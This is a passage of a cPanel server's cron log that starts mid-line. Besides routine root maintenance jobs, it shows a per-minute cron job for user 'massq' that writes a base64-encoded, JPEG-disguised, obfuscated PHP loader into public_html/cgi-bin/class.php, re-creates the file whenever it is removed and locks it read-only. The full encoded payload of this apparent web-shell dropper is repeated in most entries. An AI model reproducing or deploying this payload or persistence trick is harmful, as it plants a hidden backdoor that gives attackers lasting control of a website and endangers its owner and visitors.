VJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:27:01 server CROND[2992]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 17:28:01 server CROND[3037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:29:01 server CROND[3085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:30:01 server CROND[3147]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 17:30:01 server CROND[3148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:30:01 server CROND[3149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:30:01 server CROND[3150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:31:01 server CROND[3378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:32:01 server CROND[3459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:33:01 server CROND[3541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:34:01 server CROND[3610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:35:01 server CROND[3682]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 17:35:01 server CROND[3685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:35:01 server CROND[3686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:35:01 server CROND[3687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:35:01 server CROND[3688]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 17:36:01 server CROND[3816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:37:01 server CROND[3877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:38:01 server CROND[4029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:39:01 server CROND[4116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:39:01 server CROND[4117]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 17:40:01 server CROND[4186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 17:40:01 server CROND[4187]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:40:01 server CROND[4188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:40:01 server CROND[4189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
